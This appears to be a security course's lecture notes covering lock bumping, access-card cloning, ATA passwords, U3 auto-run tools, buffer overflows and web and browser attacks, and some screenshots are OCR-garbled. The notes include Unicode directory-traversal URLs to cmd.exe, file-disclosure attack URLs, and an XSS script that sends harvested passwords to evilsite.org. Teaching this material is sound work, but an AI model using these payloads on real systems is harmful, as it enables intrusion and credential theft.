[@ Decoders [ @ Networe [ 49 e [ Crocker [@ Tracerote [ W ccou ['F Wreles [ Quey |

-
[\Device\NPF_{B2014D12-321D-4445-8718-133F0F 367349} =l [ SicE; L
e —— [Loseon Ve T5gna[550 T N
P 27092009 0 Cicolnkeys 0dm  JAVABEACHD. Mo Insuetue 5041

27030208 05 Cicolinky.. 08m  thper! Ve msneue 508

gzt 27/03/2009-09.. Ciscoliksy.. OcBm  PRANVATESURF  Yes  Infrastuctue

Lock on channel— —WPAPSK Auths 21/03/2009-08.. Applelnc  OdBm  Casadelaplya  Yes  Infrastucture

e 20//2009-09. BekinCop.. DdBm  HITHERE2 Yes Infastuctue

Hopping & 27/03/2009-09.. Ciscolinksy.. 0dBm Eggbeaters Yes Infrastructure 6 (24

= 202009 -09.. Bekinlntemn.. OcBm  BekinN1Wiel. Yes Infssiucue 6024
27/03/2009-09... Ciscolirksy.. 0dBm  rowories Yes Infastucuae 8260
MG/ 09.. Chooliky.. OcBm  Crackeiack  Yes Infasiucuue 5240
MG/A9-09.. Neigearlvc.  OcBm  hebeseches  Yes  Infasiucure
G909, Neigearlvc,  OcBm  UNMATAIXE  Yes  Infasiucure

WEP Injection- TxRate [Mbps) 27/03/2009-09.. Ciscolinksy.. 0dBm linksys_SES_45... Yes Infrastructure:

- — 21/03/2008-05.._Cicolinks.,_0dn__meto Ve smowe 3026

Lost packets: 0%




Normal Key

Link Ch 920

· (At bottom of my CNIT 124 page) 
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Bump Key

Every key pin falls to its lowest point

The key is hit with a screwdriver  to create mechanical shocks

The key pins move up and briefly pass through the shear line

The lock can be opened at the instant the key pins align on the shear line

Results of Bump Key Use

A experienced bumper can open the lock as quickly as a person with the correct key

Bumping does not damage the lock

· Unless it is done many times, or clumsily

Bumping leaves no evidence behind
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Even Medeco locks used in the White House can be bumped

· Link Ch 921

Bump Key Countermeasures

Some locks (like Medeco) are designed to make bumping difficult

They use a sidebar  and angled pins to make  normal picking and bumping ineffective

· Don't trust their claims too far

Don't rely solely on locks: use two-factor authentication

· PIN keypad

· Fingerprint

· Security guard

· etc.

Cloning Access Cards

Two Varieties

· Magnetic stripe cards

· RFID (Radio Frequency Identification) cards

Magstripe Cards
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ISO Standards specify three tracks of data

There are various standards, but usually no encryption is used

· Link Ch 922 

[image: image150.jpg]f¢ SMAC 2.0 Evaluation Mode - KLC Consulting; www.kicconsulting.net

Ele Vew Options telp
Active | Spoofed | Network Adapter IP Address Active MAL

D
foo02 [vee Ivee | Realck B Family PC Fast Ethemet NIC

0017 Yes Mo Linksys Wisless USE Network Adspter-Pac... 12168203 001686584308

¥ Shon Oriy Actve Netwark Adspters T T
ARERE AL e Restat Adeplr PCon
oc —[oc -[oc -[oc -[oC - m J e 2

Rerdom__|__WacLi__|
[ =l Refesh Ext
Spoofed MAC Address Network Connection 2>
[ACACC-0C-0001 | [CocalArea Connection
Active MAC Address Hardware ID 22
JoCoCoCoCacDT A [poiven_T0sedev BT Hsubeys_B130106

[Disclaimer: Use ths program t yout own fisk. W ae ol tesporisble ot any damage that may occur o any system.
[This progtam s ot to be use fo any gl or unethical purpose. Do ot use tis program i you do rot agree wih v





Magstripe Card Reader/Writer

USB connector

About $35o

· Link Ch 923

Magnetic-Stripe Card Explorer

Software

Link Ch924 for more images
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Hacking RFID Cards

RFID cards use radio signals instead of  magnetism

Now required in passports

Data can be read at a distance, and is usually unencrypted

Cloning Passports 

$250 in equipment

Can steal passport data from a moving car

Link Ch 925

MiFare Classic

Mifare is most widely deployed brand of secure RFID chips

Dutch researchers found weaknesses have been found in its proprietary encryption in 2008

· Don't roll your own crypto!

· Links Ch 926 & 927

Boston Subway Hack 
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The Massachusetts Bay Transportation Authority claims that they added proprietary encryption to make their MiFare Classic cards secure

But Ron Rivest's students from MIT hacked into it anyway 

Link Ch 928

Countermeasures for Cloning Access Cards

We are at the mercy of card vendors

Newer  cards have a full challenge-response algorithm

· Resists cloning and replay attacks

· Some use open algorithms, others are proprietary

Hacking Devices
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ATA Interfaces for Hard Drives

Two kinds of ATA (AT Attachment ) interfaces are used

PATA (Parallel ATA) 

· IDE is now called PATA

SATA (Serial ATA) 

· Newer and faster than PATA 

ATA Security 

Requires a password to access the hard disk

Virtually every hard drive made since 2000 has this feature

It is part of the ATA specification, and thus not specific to any brand or device.

Does not encrypt the disk, but prevents access

ATA Password Virus

ATA Security is used on Microsoft Xbox hard drives and laptops

BUT desktop machines' BIOS is often unaware of ATA security

An attacker could turn on ATA security, and effectively  destroy a hard drive, or hold it for ransom

· The machine won't boot, and no BIOS command can help

· This is only a theoretical attack at the moment

Bypassing ATA Passwords

Hot Swap

· With an unlocked drive plugged in, enter the BIOS and navigate to the menu that allows you to set a HDD Password 

· Plug in the locked drive and reset the password

Use factory default master password

· Not easy to find

· Some examples given in 2600 magazine vol 26 #1

Bypassing ATA Passwords

Vogon Password Cracker POD

· Changes the password from a simple GUI

· Allows law enforcement to image the drive, then restore the original password, so the owner never knows anything has happened

· Works by accessing the drive service area

A special area on a disk used for firmware, geometry information, etc.

Inaccessible to the user

ATA Security Sources

Hacking Exposed 6th Ed.

Links Ch 929 - 931

2600  Magazine

ATA Password Bypass Countermeasure

Don't trust ATA Security

Encrypt the drive with Bitlocker, TrueCrypt, PGP, etc.

U3 Drives

[image: image156.png]


U3: Software on a Flash Drive 
Carry your data and your applications in your pocket!

It’s like a tiny laptop!

U3 Launchpad 
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Just plug it in, and the Launchpad appears

Run your applications on anyone’s machine

Take all data away with you

[image: image158.png]



How U3 Works

The U3 drive appears as two devices in My Computer

· A “Removable Disk”

· A hidden CD drive named “U3”

The CD contains software that automatically runs on computers that have Autorun enabled
· For more details, see http://www.everythingusb.com/u3.html
Hak9’s PocketKnife

Software On The Disk Partition

PocketKnife is a suite of powerful hacking tools that lives on the disk partition of the U3 drive

Just like other applications

U3 PocketKnife 
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Steal  passwords

Product keys

Steal files

Kill antivirus software

Turn off theFirewall

And more…

For details see  http://wapurl.co.uk/?719WZ2T 
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Custom Launchpad 
Customizing U3

You can create a custom file to be executed when a U3 drive is plugged in

Automatically Run PocketKnife

The custom U3 launcher runs PocketKnife

So all those things are stolen and put on the flash drive

Defense

[image: image161.png]From Computer Desktop Enoyclopedia
©2004 The Computer Language Co. .

Parallel ATA (PATA)

Serial ATA (SATA)



Military Bans USB Thumb Drives
Immediate Risk Reduction

Block all USB devices in Group Policy

Disable AutoRun

Glue USB ports shut

Better Solution: IEEE 1667

Standard Protocol for Authentication in Host Attachments of Transient Storage Devices

USB devices can be signed and authenticates, so only authorized devices are allowed

Will be implemented in Windows 7

· See http://wapurl.co.uk/?QXASJBK 

Default Configurations (Pre-0wned)
ASUS Eee PC Rooted Out of the Box

The Eee PC 701 shipped with Xandros Linux

The Samba file-sharing service was on by default

It was a vulnerable version, easily rooted by Metasploit

Easy to learn, Easy to work, Easy to root

· Link Ch 933
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Default Passwords 
Many devices ship with default passwords that are often left unchanged

· Especially routers (see link Ch 934) 
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ATM Passwords

In 2008, these men used default passwords to reprogram ATM machines to hand out $20 bills like they were $1 bills 
· Link Ch 936
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Bluetooth Attacks

Bluetooth supports encryption, but it's off by default, and the password is 0000 by default

· Link Ch 935 
Reverse Engineering Hardware

We will skip this section

Last modified 4-17-09
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Common Exploit Techniques
Buffer Overflows and Design Flaws 

· History

Buffer over-runs in the mid-1990s

Then C library vulnerabilities

Then string vulnerabilities, off-by one buffer overruns, and database vulnerabilities

Then web-based attacks

Then integer overflow vulnerabilities 

Mudge

Peiter C. Zatko (better known as Mudge) 

Did early research on Buffer Overflows

Member of L0pht and CULT OF THE DEAD COW

Testified before a Senate committee in 1998
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Links Ch 11a, 11b, 11c

Stack Buffer Overflows 

Easiest and most devastating buffer overrun 

The stack is simply computer memory used when functions call other functions

Example

When the strcpy function is called, the segments are as shown
Extended Instruction Pointer
The Extended Instruction Pointer (EIP) is the register used by the processor to indicate which command is being executed

The values marked "Return Link" in yellow on the figure are loaded into the EIP when a function returns

· So if a hacker can control the EIP, they can execute arbitrary code (own the box)

Famous Buffer Overflows

Since 1995 there have been over a thousand buffer overflow vulnerabilities exposed to the public

· Nimda (Windows)

· Slammer (SQL Server)

· Scalper (FreeBSD)

· Slapper (Apache and OpenSSL)

· Witty (ISS RealSecure)

Stack Buffer Overflow Countermeasures 
Practice safe and secure coding standards 
· Validate data

· Call functions properly

Check your code

· Regular code audits

· Especially for sprintf(), vsprintf(), strcat(), strcpy(), gets(), scanf(), etc.

Prohibit use of old, dangerous C functions like strcpy

Employ stack execution protection
· Windows has had Data Execution Prevention since Win XP SP2

· Available for other operating systems too

Use compiler tools to detect stack overruns

· In Microsoft Visual C++, use the /GS option

· For gcc, use  StackShield or StackGuard or Libsafe

Demonstration
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Damn Vulnerable Linux 1.0

01_exploitme01 application

Source code
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Uses strcpy to copy user input to a buffer

No validation

Segmentation Faults

[image: image171.jpg]Jordan Eske
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The 01_exploitme01 application crashes with no input, or with input too large

Gnu Debugger

[image: image172.png]Eavesdropping on Bluetooth Headsets




Registers: eax, ebx, … ebp, eip

· Temporary storage of data

· Most important for us is the eip

Extended Instruction Pointer

· Address of the next instruction to be executed

· If we can control this pointer, we can execute arbitrary code

· We 0wn the box

Injecting a Long String

Fill stack with As

eip is 41414141 – four bytes of A in ASCII


[image: image11]
Controlling the EIP

This injection precisely targets the EIP with "CCCC" or 43434343


[image: image12]
Finding the ESP
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[Escape | comment

|%6c0%af |2-byte overlong UTF-8 escape

|%e0%80%af | 3-byte overlong UTF-8 escape

962501 | Double-escape; %25 is an escaped % character
%9350 | Double-escape; %35 is an escaped 5 character
|925%35%63 | Double-escape, where every character in %5c is escaped
|99%35%63 96, then escaped 5 and escaped ¢

%2550 | Escape %, then 5¢

|%u005¢ |2-byte Unicode escape




[image: image175.jpg]<script language="vb" runat="server">
sub Application_BeginRequest (Sender as Object, E as EventArgs)
If (Request.Path.IndexOf(chr(92)) >= 0 OR _
System.T0.Path.GetFullPath (Request.PhysicalPath) <> Request.
PhysicalPath) then
Throw New HttpException (404, "Not Found")
End If
End Sub
</script>



[image: image176.jpg]Table 11-2: Tools for Assessing and Improving Code Security

[ Name [ Language [ Link

‘ FXCop ‘ NET ‘ hitp://www.qotdotnet.com/team/fxcop (FXCop is also available in Visual Studio .NET
2005.)

[sPUINT le | http://clint cs virginia edu

|Flawfinder | cic++ | hitp://wwnw dwheeler com/flawfinder
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| PREfast [croes | PREfast is available in Visual Studio NET 2005
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[Codeassure | cic++, Java | itp://wwnw securesw com/products

| Prexis [cice+, Java | hitp://www ouncelabs com

‘ RATS ‘ C/C++, Python, Perl, ‘ hitp://www.securesw.com/resources/tools. html
PHP




The Extended Stack Pointer is also needed for the exploit, so we can find the code we injected

This program finds the ESP

ESP on DVL 1.0

The ESP is always the same on a vulnerable operating system like Damn Vulnerable Linux 1.0 or 1.1

If you run the program several times, you get the same answer

ESP on DVL 1.4

The ESP is different each time

Buffer overflows will be much more diffcult to exploit

ESP on Ubuntu

A different ESP each time

Windows also has this "Address Space Layout Randomization" protection feature in Vista and Server 2008

Buffer Overflow Tutorial 
http://mag.damnvulnerablelinux.org/2008/05/buffer-overflow-tutorial-by-preddy-rootshell-security-group/ 

Heap/BSS/Data Overflows 

More difficult to write than stack overflows, but still dangerous

The heap is used by programs to allocate dynamic memory at runtime

There are no return function addresses to overwrite on the heap

These attacks depend on overwriting important variables or sensitive heap block structures that contain addresses 

Example of Heap Overflows

Titan FTP Server for Windows

· Bugtraq released August 30, 2004

Attacker passes a directory name longer than 20,480 bytes long to the CWD (change working directory) command 

Attacker can execute arbitrary code

· Exploit code at link Ch 11j

· Heap overflow article at link Ch 11k

Heap/BSS/Data Overflow Countermeasures 
Practice safe and secure coding standards 

· Validate data

· Call functions properly

Check your code

· Regular code audits

Some operating systems also add countermeasures to the heap 

· Windows Server 2003 and Windows XP SP2 check whether sensitive data in the heap blocks is correctly formed 

Format String Attacks 

The correct way to use the printf function is this:

· printf("Hello world. My name is: %s\n", my_name); 

The %s is a format string, telling C to print the my_name variable as a string
· Hello world. My name is: Stuart McClure 

Missing Format String
A sloppy programmer can do this:

· printf(my_name); 

So an attacker can add format strings like %s, %d, %u in the my_name variable, and read the contents of memory, or even write to memory

· Link Ch 11l

Format String Countermeasures

Validate input before using it
Always include the format specifier explicitly in functions, like this

· printf("Hello world. My name is: %s\n", my_name); 

Off-by-One Errors 
Here's an OpenSSH vulnerability discovered in 2002

· The programmer wrote

if (id < 0 || id > channels_alloc) 

· The only allowed values are from 0 to channels_alloc-1.
· The case id=channels_alloc was incorrectly handled, allowing privilege escalation

Off-by-One Countermeasures

Audit code!  The correct line was this:

if (id < 0 || id >= channels_alloc)

Input Validation Attacks

Ways to sneak malicious input past input validation

Canonicalization Attacks 

Canonicalization is converting input into its standard form, or canonical form

Example: the backslash character \

· \ 




in ASCII

· %2f 


in hexadecimal

· %2f or %c0%af
in Unicode

URL Directory Traversal

This URL would be blocked by a Web server because it has ../ characters 

· http://10.1.1.3/scripts/../../../../winnt/system32/cmd.exe?/c+dir 

This one might be allowed 

· http://10.1.1.3/scripts/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir 

Other Canonical-Form Exploits

There are many others, here are some examples
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Normalize Before Validation 

Canonicalization attacks work because code is scanned for illegal characters before it is converted to canonical form

Convert it first, and check for illegal characters afterwards

Canonicalization Countermeasures 
This script will prevent some canonicalization attacks against ASP.NET applications
[image: image178.jpg]cat exploitme00l.c

int main(int argc, char **argv, char **envp)
char buf [256] ;
strepy(buf, argv[1]);
return 0





URLScan

Prevents malicious URLs from reaching an IIS Web server

Built into IIS 6 and later versions

Web Application and Database Attacks 
SQL Injection and many more
Coming up in the next chapter

Countermeasure: sanitize input before using it

Common Countermeasures 

People: Changing the Culture 

Process: Security in the Development Lifecycle (SDL) 

· Threat Modeling

· Code Audits, both manual and automated
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Tools

Security Testing 

Fuzzing

· Generating random and crafted input to test software

· This is how David Maynor 0wned the Mac via Wi-Fi  (link Ch 11m)

Pen Testing

· Experienced attackers testing application

Audits & Maintenance

Audit or Final Security Review 

· Check products before shipping

Maintenance

· Reports of vulnerabilities

· Patches and hotfixes

Last modified 4-24-09

Web Server Hacking 
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Popular Web Servers
Microsoft IIS/ASP/ASP.NET

LAMP (Linux/Apache/MySQL/PHP)

BEA WebLogic

· Link Ch 12j

IBM WebSphere

· Link Ch 12k

Popularity

· Links Ch 12l, 12m

Attacking Web Server Vulnerabilities

An attacker with the right set of tools and ready-made exploits can bring down a vulnerable web server in minutes
Some of the most devastating Internet worms have historically exploited these kinds of vulnerabilities 

· Code Red and Nimda attacked IIS vulnerabilities

Why the Risk is Decreasing

The risk of such attacks is decreasing, because:

· Newer versions of Web servers are less vulnerable

· System administrators are better at configuring the platforms

· Vendor's "best practices" documents are better

· Patches come out more rapidly

Countermeasures are available, such as:

· Sanctum/Watchfire's AppShield 

A Web application firewall (link Ch_12n)

Microsoft's URLScan 

· Built in to IIS 6 and IIS 7

Link Ch_12o

Automated vulnerability-scanning products and tools  are available

Web Server Vulnerabilities 

Sample files

Source code disclosure

Canonicalization

Server extensions

Input validation (for example, buffer overflows)

Sample files

Sample scripts and code snippets to illustrate creative use of a platform

In Microsoft's IIS 4.0 

· Sample code was installed by default  

· showcode. asp and codebrews.asp 

· These files enabled an attacker to view almost any file on the server like this:

http://192.168.51.101/msadc/Samples/SELECTOR/showcode.asp?source=/../.. /../../../boot.ini 

http://192.168.51.101/iissamples/exair/howitworks/codebrws.asp?source= /../../../../../winnt/repair/setup.log 
Sample Files Countermeasure
Remove sample files from production webservers

If you need the sample files, you can get patches to improve them

· ColdFusion Expression Evaluator patch

· Link Ch 12p

Source Code Disclosure 

IIS 4 and 5 could reveal portions of source code through the HTR vulnerability (link Ch 12q)

Apache Tomcat and BEA WebLogic had similar issues

Attack URLs:

http://www.iisvictim.example/global.asa+.htr

http://www.weblogicserver.example/index.js%70

http://www.tomcatserver.example/examples/jsp/num/
numguess.js%70 
Source Code Disclosure Countermeasures
Apply patches (these vulnerabilities were patched long ago)
Remove unneeded sample files

Never put sensitive data in source code of files

· You can never be sure source code is hidden 

Canonicalization Attacks 

There are many ways to refer to the same file

· C:\text.txt

· ..\text.txt 

· \\computer\C$\text.txt

The process of resolving a resource to a standard (canonical) name is called canonicalization 
ASP::$DATA Vulnerability

Affected IIS 4 and earlier versions

Just adding ::DATA to the end of an ASP page's URL revealed the source code

· http://xyz/myasp.asp::$DATA 

Link Ch 12r

Unicode/Double Decode Vulnerabilities 
Strings like %c0%af could be used to sneak characters like \ past URL filters
Attack URL example:

http://10.1.1.3/scripts/
..%c0%af..%c0%af..%c0%af..
/winnt/system32/cmd.exe?/c+dir 

Exploited by the Nimda worm

Canonicalization Attack Countermeasures

Patch your Web platform
Compartmentalize your application directory structure 

· Limit access of Web Application user to minimal required

Clean URLs with URLScan and similar products

· Remove Unicode or double-hex-encoded characters before they reach the server

Server Extensions 

Code libraries tacked on to the core HTTP engine to provide extra features

· Dynamic script execution (for example, Microsoft ASP)

· Site indexing

· Internet Printing Protocol 

· Web Distributed Authoring and Versioning (WebDAV)

· Secure Sockets Layer (SSL)

Each of these extensions has vulnerabilities, such as buffer overflows
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Microsoft WebDAV Translate: f problem 

· Add "translate: f" to header of the HTTP GET request, and a \ to the end of the URL

· Reveals source code

Links Ch 12u, v

Server Extensions Exploitation Countermeasures

Patch or disable vulnerable extensions
· The Translate: f problem was patched long ago

Buffer Overflows 

Web servers, like all other computers, can be compromised by buffer overflows

The Web server is easy to find, and connected to the Internet, so it is a common target

Famous Buffer Overflows

IIS HTR Chunked Encoding Transfer Heap Overflow

· Affects Microsoft IIS 4.0, 5.0, and 5.1

· Leads to remote denial of service or remote code execution at the IWAM_ MACHINENAME privilege level

IIS's Indexing Service extension (idq.dll)

· A buffer overflow used by the infamous Code Red worm

Internet Printing Protocol (IPP) vulnerability

Apache mod_ssl vulnerability

· Also known as the Slapper worm

· Affects all versions up to and including Apache 2.0.40

· Results in remote code execution at the super-user level

Apache also suffered from a vulnerability in the way it handled HTTP requests encoded with chunked encoding

· Resulted in a worm dubbed "Scalper"

· Thought to be the first Apache worm 

Buffer Overflow Countermeasures

Apply software patches
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Scan your server with a vulnerability scanner 

Web Server Vulnerability Scanners 

Nikto checks for common Web server vulnerabilities 
· It is not subtle—it leaves obvious traces in log files

· Link Ch 12z01

Whisker is another Web server vulnerability scanner

· Nikto version 2 uses LibWhisker 2, so it may replace Whisker

Nikto Demonstration

Scan DVL Web Server with Nikto

Results

Info.php tells far too much information

The TRACE method can be used to reveal information about cookies, and to defeat some Microsoft IE 6 security measures

· The attack is somewhat esoteric

· See link Ch 12z02
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Web Application Hacking 

Attacks on applications themselves, as opposed to the web server software upon which these applications run

The same techniques

· Input-validation attacks

· Source code disclosure attacks

· etc.

Finding Vulnerable Web Apps with Google 

You can find unprotected directories with searches like this:

· "Index of /admin"

· "Index of /password"

· "Index of /mail"

You can find password hints, vulnerable Web servers with FrontPage, MRTG traffic analysis pages, .NET information, improperly configured Outlook Web Access (OWA) servers…

And many more

· Link Ch 1a

Web Crawling 
Examine a Web site carefully for Low Hanging Fruit 

· Local path information

· Backend server names and IP addresses

· SQL query strings with passwords

· Informational comments 

Look in static and dynamic pages, include and other support files, source code

Web-Crawling Tools 
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wget is a simple command-line tool to download a page, and can be used in scripts

· Available for Linux and Windows

· Link Ch 12z03

Offline Explorer Pro 

· Commercial Win32 product

Web Application Assessment 

Once the target application content has been crawled and thoroughly analyzed

Probe the features of the application

· Authentication

· Session management

· Database interaction

· Generic input validation

· Application logic

Tools for Web Application Hacking

Browser plug-ins

[image: image185.jpg]STACK
26 ORIGIN

main N-2

e g

strej Phase

STACK
<= POINTER

[ AVAILABLE —¥ 5
STACK 4
[ sacE 3

%3

N

if
i



Free tool suites

Commercial web application scanners

Tamper Data Demo 
Vulnerable Message Board

Acts like a proxy server

You can see POST data and alter it

This will defeat client-side validation

JavaScript Debugger

Examine and step through JavaScript
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Tool Suites

Proxies sit between client and Web application server, like a man-in-the-middle attack

Midrosoft Fiddler can intercept and log requests and responses

WebGoat Demo
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Tools for Web Application Assessment 

WebScarab

· Allows user to intercept and alter HTTP

· Includes spidering and fuzzing

· Runs on any platform

· Free, from OWASP

Burp Suite

· Proxy, Repeater, Sequencer, Spider, Intruder

· Powerful tool to craft automated attacks

· Free version is limited

Expensive Commercial Tools

HP WebInspect and Security Toolkit

Rational AppScan

Cenzic Hailstorm (see image on next page)
· Highly rated commercial Web applicaion vulnerability scanner

· We should have a copy to use here soon

· Links Ch 11o, 11p
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Common Web Application Vulnerabilities 

Cross-Site Scripting (XSS)

SQL Injection

Cross-Site Request Forgery (CSRF)

HTTP Response Splitting

Cross-Site Scripting (XSS) Attacks 

One user injects code that attacks another user

Common on guestbooks, comment pages, forums, etc.

Caused by failure to filter out HTML tags

· These characters < > " &

· Also watch out for hex-encoded versions

%3c instead of <

%3e instead of >

%22 instead of "
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Common XSS Payloads 

See link Ch 12z06

Cross-Site Scripting Countermeasures 

Filter out <  > ( ) # & and the variants of them

HTML-encode output, so a character like < becomes &lt; -- that will stop scripts from running

In IE 6 SP1 or later, an application can set HttpOnly Cookies, which prevents them from being accessed by scripts

Analyze your applications for XSS vulnerabilities

· Fix the errors you find

SQL Injection 
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xkcd.org – a great comic

Link Ch 11i
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Automated SQL Injection Tools 

Wpoison

· Runs on Linux 

SPIKE Proxy 

mieliekoek.pl

· SQL insertion crawler that tests all forms on a website for possible SQL insertion problems 

SPI Dynamics' SPI Toolkit

· Contains SQL Injector that automates SQL injection testing 

SQL Injection Countermeasures 

Perform strict input validation

Replace direct SQL statements with stored procedures, prepared statements, or ADO command objects

· That way they can't be modified

Implement default error handling

· Use a general error message for all errors

Lock down ODBC

· Disable messaging to clients. Don't let regular SQL statements through. This ensures that no client, not just the web application, can execute arbitrary SQL.

Lock down the database server configuration

· Specify users, roles, and permissions, so even if SQL statements are injected, they can't do any harm

Cross-Site Request Forgery (CSRF)

Hijack a session by stealing cookies

We did this with hamster and ferret
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HTTP Response Splitting

Demonstrated earlier with WebGoat

Last modified 6-29-09
Internet Client Vulnerabilities 

Microsoft ActiveX 
ActiveX applications, or controls, can be written to perform specific functions (such as displaying a movie or sound file)

They can be embedded in a web page to provide this functionality 

ActiveX controls typically have the file extension .ocx

They are embedded within web pages using the <OBJECT> tag

Controls are downloaded to the location specified by the Registry string value

· HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ActiveXCache
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The default location on Windows XP and Vista is %systemroot%\Downloaded Program Files 

Usually C:\Windows\Downloaded Program Files

ActiveX Controls on a Vista Machine

The ActiveX Security Model: Authenticode 

ActiveX controls can do almost anything 
But they can be signed with a digital signature (Authenticode), so you know who to blame

Exploder was a signed control that shut down Win 95 machines

· Microsoft and Verisign revoked its Authenticode software publisher certificate

· Link Ch 13_01
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"Safe for Scripting" Vulnerability

scriptlet.typelib and Eyedog.ocx

· ActiveX controls shipped with IE 4 and earlier

· Marked "Safe for scripting"

· Enabled to run without a warning, bypassing Authenticode

"Safe for Scripting" controls can be abused by malicious Web pages to execute arbitrary code

· This exploit was demonstrated in 1999

Link Ch 13_02

· But later examples of "Safe for Scripting" exploits exist

From 2005, as part of the Sony Rootkit

Link Ch 13_03

A nice tutorial from 2008 (link Ch  13_26) 

ActiveX Abuse Countermeasures 

IE Users:
· Restrict or disable ActiveX with Internet Explorer security zones 

In IE, Tools, Internet Options, Security tab

Developers:

· Don't write safe-for-scripting controls that could perform dangerous acts, like file access

· Use SiteLock to restrict access so that the control is only deemed safe in a predetermined list of domains 

Link Ch 13_05

· Disable unwanted ActiveX controls with the Kill Bit

Link Ch 13_06

Java

Java runs in a "sandbox" using the Java Virtual Machine, which makes it much safer than ActiveX

But flaws that allow code to escape the sandbox have been discovered

· Type confusion attack in 1999

· Brown orifice in 2000 (link Ch 13_07)

· Java Virtual Machine remote compromise by heap overflow in 2005 (link Ch 13_08)

Java Abuse Countermeasures 

Restrict Java through the use of Microsoft Internet Explorer security zones 

Keep your Java platform updated

JavaScript and Active Scripting 

Javascript was created by Netscape in the mid-1990s

· It has nothing to do with Sun's Java

Microsoft platforms execute JavaScript and other client-side scripting languages (such as Microsoft's own VBScript) using a Component Object Model (COM)-based technology called Active Scripting

Javascript is powerful and easy to use, and often used for malicious purposes, such as pop-up ads 

JavaScript/Active Scripting Abuse Countermeasures

Use Internet Explorer security zones 
Use the "Noscript" Firefox extension

Cookies 

Cookies allow websites to remember who you are from visit to visit 

Sniffing cookies can reveal data, or allow you to "sidejack" authenticated sessions

Cookie Abuse Countermeasures 
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In IE, you can control cookie handling in Internet Options on the Privacy tab
Use SSL when possible

· https://mail.google.com, not gmail.com

Cross-Site Scripting (XSS) 

This script will harvest  passwords from unwary users

· <SCRIPT Language="Javascript">var password=prompt ('Your session has expired. Please enter your password to continue.',''); location.href="https://evilsite.org/pass.cgi?passwd="+password;</SCRIPT>

Many other attacks are possible, such as stealing cookies 
Cross-Frame/Domain Vulnerabilities 

Like XSS, but operating on the client
· Tricking your browser into executing code from frame in a different frame

IE has access to the local file system, calling it the Local Machine Zone (LMZ)

· A common target for attacks

· There are a lot of Cross-Frame attacks at link Ch 13_09

The IFRAME Tag 
· IFrames add a frame from another site in the middle of a Web page

· Used in many attacks

· A lot of IFrame attacks are underway right now (May, 2008)

Link Ch 13_10

HTML Help ActiveX Control 

· Runs in the LMZ zone

· A popular target for exploits

SSL Attacks 

When it works, SSL ensures that a server is genuine, and warns the client if a man-in-the-middle (MITM) attack is in progress

But Netscape failed to re-check later connections to the same IP address, which made it possible to perform an undetected MITM attack 

· From the year 2000, link Ch 13_10

Firefox fails to properly check for revoked certificates

· From 2009, link Ch_13_27

SSL Vulnerabilities in IE

IE failed to check server names and expiration dates on certificates

Failed to revalidate certificates on reconnection to the same server

Errors in SSL Certificate Revocation List (CRL)-checking routines 

· See links Ch 13_11, 13_12

Homograph Attacks 

Using non-English language characters, it was possible to buy a domain name that looked like paypal.com but wasn't

This has been patched in the latest browser versions

· Link Ch_13_13

SSL Attack Countermeasures 

Keep your Internet client software fully updated and patched 

Check certificate manually

Payloads and Drop Points 

Places to put code to make it launch at startup

· Microsoft Excel .xla file or compiled HTML help file (.chm) into a user's Windows startup folder 

· Run keys in the Windows Registry

· Using the showHelp()method and Microsoft's HTML Help hh.exe to launch .chm and .htm files directly from exploits

· Dropping malicious links into the IE startup page Registry values 

Auto-Start Extensibility Points (ASEPs)

Link Ch 13_15
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Windows Defender
Msconfig
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E-mail Hacking 

File Attachments 

· Windows scrap files can be used to execute code

· File extensions can be hidden with spaces

freemp3.doc . . . [150 spaces] . . . .exe 

· IFrames can be used to execute an attached file within an HTML-enabled email

· Just trick the user into opening the attachment with social engineering, as MyDoom did in 2004 (link Ch 13_16)

Multi-part Internet Mail Extensions (MIME) 

In 2000, executable file types were automatically executed within IE or HTML e-mail messages if they were mislabeled as the incorrect MIME type
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The Nimda Worm exploited this vulnerability

· Although the patch was available, it had not been implemented widely enough

· Link Ch 13_17 

E-mail Hacking Countermeasures 

Patch the vulnerabilities 
Disable rendering of HTML mail altogether

Block ActiveX and JavaScript in Email

· Microsoft Outlook and Outlook Express now set the Restricted Sites zone for reading e-mail by default

Don't open attachments you don't expect

Instant Messaging (IM) 

Tricks users into clicking on links or accepting file transfers

May also exploit IM software vulnerabilities

· Link Ch 13_18

Microsoft Internet Client Exploits 

GDI+ JPEG Processing Buffer Overflow (IE6 SP1) 

· Allowed remote control on any machine that renders a malicious JPEG (Link Ch 13_19)
Countermeasures

· Firewall that filters outgoing traffic might block the remote control

· Updated antivirus software

· Updates patches

· Read email in text-only format

· Run as a Limited user, not an Administrator

IE Improper URL Canonicalization 

IE failed to properly display in its address bar any URLs of the format
· user@domain
when a nonprinting character (%01, or 1 in hexadecimal) was placed before the "@" character 
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IE 7 now warns you of this

IE8 seems to 

block it
Link Ch 13_22

Web Application Firewall
Prevents canonicalization attacks, SQL Injection, etc.

Links Ch_13_28, Ch_13_29 

IE HTML HelpControl Local Execution 

Opens a Microsoft help page on the C: drive, in the Local Machine Zone (LMZ)
The exploit code then opens a second window, which injects executable JavaScript into the LMZ window 

· Can install software on the local machine

General Microsoft Client-Side Countermeasures 

Use a firewall that can filter outgoing connections
Keep up-to-date on patches

Use antivirus software

Use IE Security Zones wisely

Run with least privilege—not as Administrator 

Read email in plaintext

Administrators of large networks should deploy firewalls at key points and use Group Policy to enforce security measures
Configure office productivity programs as securely as possible

· Set the Microsoft Office programs to "Very High" macro security under Tools | Macro | Security

Don't be gullible. Approach Internet-borne solicitations and transactions with high skepticism

Keep your computing devices physically secure

Use IE Security Zones wisely
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In IE, Tools, Internet Options, Security tab

· Set Internet zone to "High"

· Then click Custom and disable ActiveX

· Add necessary sites to the Trusted zone

Skip pages 611-624

Rootkits and Back Doors 

DKOM (Direct Kernel Object Manipulation)
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From a Powerpoint written by Jamie Butler

Link Ch 13_25

Operating System Design
User Land

· Operating system provides common API for developers to use

Kernel32.dll

Ntdll.dll

Kernel Mode

· The low level kernel functions that implement the services needed in user land

· Protected memory containing objects such as those for processes, tokens, ports, etc.

Intel has four privilege levels or rings

Microsoft and many other OS vendors use only two rings

By only using two privilege levels, there is no separation between the kernel itself and third party drivers or loadable kernel modules (LKM’s)

Drivers can modify the memory associated with kernel objects such as those that represent a process’s token

Consumers demand more…

Corporations and many private consumers see the need for more security

· Personal firewalls

· Host based intrusion detection systems (HIDS)

· Host based intrusion prevention systems (HIPS)

Current HIDS/HIPS Functions

To detect or prevent:

· Processes running

· Files that are created/deleted/modified

· Network connections made

· Privilege escalation

Trusts the operating system to report these activities.

